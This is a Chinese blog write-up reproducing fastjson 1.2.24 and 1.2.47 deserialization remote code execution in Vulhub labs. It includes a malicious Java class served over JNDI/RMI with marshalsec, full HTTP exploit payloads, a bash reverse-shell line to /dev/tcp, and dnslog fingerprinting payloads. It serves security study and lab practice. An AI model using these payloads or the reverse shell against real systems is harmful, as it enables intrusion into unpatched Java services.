[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
Posted DDao_blog
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE相关的知识,希望对你有一定的参考价值。
文章目录
fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
0x00 预备知识
RMI:
RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
参考RMI:https://blog.csdn.net/xinghun_4/article/details/45787549
JNDI:
jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
jndi注入就是利用的动态类加载完成攻击的。
参考JNDI注入:https://blog.csdn.net/u011479200/article/details/108246846
0x01 漏洞描述
FastJson
库是Java的一个Json
库,其作用是将Java对象转换成json
数据来表示,也可以将json
数据转换成Java对象。
fastjson
在解析json
的过程中,支持使用autoType
来实例化某一个具体的类,并调用该类的set/get
方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
fastjson
特性:
- 提供服务器端、安卓客户端两种解析工具,性能表现较好。
- 提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
- 允许转换预先存在的无法修改的对象(只有class、无源代码)。
- Java泛型的广泛支持。
- 允许对象的自定义表示、允许自定义序列化类。
- 支持任意复杂对象(具有深厚的继承层次和广泛使用的泛型类型)。
0x02 影响版本
fastjson <= 1.2.24
0x03 靶场环境
fastjson 1.2.24:https://vulhub.org/#/environments/fastjson/1.2.24-rce/
0x04 漏洞分析
JSON 还原回Object 的方法,主要的API有两个,分别是JSON.parseObject
和JSON.parse
,最主要的区别就是前者返回的是JSONObject而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用JSON.parseObject
来获取数据。
fastjson接受的JSON可以通过@type
字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。
源码分析:
https://www.freebuf.com/vuls/178012.html
http://xxlegend.com/2017/04/29/
0x05 漏洞复现
环境运行后,访问http://your-ip:8090
即可看到JSON格式的输出:
向这个地址POST一个JSON对象,即可更新服务端的信息:因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl
的利用链,借助JNDI
注入来执行命令:
保存以下代码为TouchFile.java
文件(文件名与类名要一致否则会报错):
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
执行代码生成TouchFile.class
文件:javac TouchFile.java
使用marshalsec
项目,启动RMI服务:
marshalsec
项目下载地址:https://github.com/mbechler/marshalsec.git
下载好之后用mvn
打包:mvn clean package -DskipTests
成功之后target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar
文件:
然后先把编译好的class文件传到外网系统中,用python起一个简单的http服务:python -m SimpleHTTPServer 12581
开启RMI服务,监听9999端口,并制定加载远程类TouchFile.class
:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.11.34.231:12581/#TouchFile" 9999
(后来换了个ip,意思一样问题不大)
向靶机发送payload,带上RMI地址:
POST / HTTP/1.1
Host: 192.168.1.142:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.142:9999/TouchFile",
"autoCommit":true
}
}
登录靶机,文件已成功创建:
攻击机效果截图:
0x06 反弹shell
只需要改一下执行命令即可,将TouchFile.java
内容改为:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.142/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
之后重复上述操作,在攻击机监听7777端口,抓包修改重放后就会得到反弹shell了:
0x07 Fastjson指纹特征
- 根据返回包判断:
任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。 - 利用dnslog盲打:
构造以下payload,利用dnslog平台接收:{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
查看平台返回结果:
1.2.67 版本后 payload:
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
# 畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
fastjson 1.2.47 远程命令执行漏洞
0x00 漏洞描述
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
0x01 影响版本
fastjson <= 1.2.47
0x02 靶场环境
fastjson 1.2.47:https://vulhub.org/#/environments/fastjson/1.2.47-rce/
0x03 漏洞分析
在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
源码分析:
https://www.freebuf.com/vuls/208339.html
https://cert.360.cn/warning/detail?id=7240
0x04 漏洞复现
环境启动后,访问http://your-ip:8090
即可看到一个json对象被返回:
将content-type
修改为application/json
后可向其POST新的JSON对象,后端会利用fastjson
进行解析:
故意构造一个不完整的json发送请求,会发现响应包会有fastjson字段:
利用dnslog平台验证:{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
查看平台返回结果:
复现流程与 1.2.24 版本相同,只是传入的payload不同:
POST / HTTP/1.1
Host: 192.168.1.142:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 265
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.143:9999/TouchFile",
"autoCommit":true
}
}
攻击机监听得到反弹shell:
攻击成功效果截图:
参考链接:
https://www.freebuf.com/articles/web/242712.html(Fastjson1.2.24漏洞复现详细过程)
https://www.freebuf.com/vuls/178012.html(Fastjson 1.2.24反序列化漏洞分析)
http://xxlegend.com/2017/04/29/(fastjson 远程反序列化poc的构造和分析 )
https://www.freebuf.com/vuls/208339.html(浅谈Fastjson RCE漏洞的绕过史)
https://cert.360.cn/warning/detail?id=7240(FastJson 远程代码执行漏洞分析报告)
以上是关于[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE的主要内容,如果未能解决你的问题,请参考以下文章
vulhub漏洞复现Fastjson 1.2.24反序列化漏洞
fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤